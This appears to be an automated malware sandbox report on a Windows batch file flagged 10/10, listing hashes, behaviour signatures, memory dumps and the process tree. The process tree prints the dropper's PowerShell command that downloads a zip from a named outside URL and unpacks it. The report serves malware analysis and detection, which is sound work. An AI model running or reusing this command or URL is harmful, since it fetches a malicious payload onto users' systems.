3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

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General

Target

tesy - Copy (6).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2276	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2276	powershell.exe
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 2276	1728	cmd.exe	29
PID 1728 wrote to memory of 2276	1728	cmd.exe	29
PID 1728 wrote to memory of 2276	1728	cmd.exe	29
PID 1728 wrote to memory of 2736	1728	cmd.exe	30
PID 1728 wrote to memory of 2736	1728	cmd.exe	30
PID 1728 wrote to memory of 2736	1728	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d7a82d83430ebac6b720b75b76b1e7b3

SHA1
ef14af1530503a6cc86af161b9896a679d3ae767

SHA256
e77e1b34a6a93a48d8dea9e73dd8cab493eeb81e3cda83e68aae53ca982ffd4c

SHA512
556f1b9bfd572ddb75cd257df746304d0f03ecf6c85da85db25fb7f1ba9d03a0b0c7adecb7579e254022df2399fdb2977f21f0afcacf6bab65d39cbb65f48abe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UH2FHB4O8MIU41DJRPYV.temp

Filesize
7KB

MD5
d7a82d83430ebac6b720b75b76b1e7b3

SHA1
ef14af1530503a6cc86af161b9896a679d3ae767

SHA256
e77e1b34a6a93a48d8dea9e73dd8cab493eeb81e3cda83e68aae53ca982ffd4c

SHA512
556f1b9bfd572ddb75cd257df746304d0f03ecf6c85da85db25fb7f1ba9d03a0b0c7adecb7579e254022df2399fdb2977f21f0afcacf6bab65d39cbb65f48abe

Download Submit
memory/2276-9-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2276-5-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2276-8-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2276-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2276-10-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2276-11-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2276-13-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2276-7-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2276-6-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-20-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

Filesize
9.6MB

Download
memory/2736-19-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2736-22-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2736-21-0x0000000002050000-0x0000000002058000-memory.dmp

Filesize
32KB

Download
memory/2736-23-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

Filesize
9.6MB

Download
memory/2736-24-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2736-25-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2736-26-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2736-27-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

Filesize
9.6MB

Download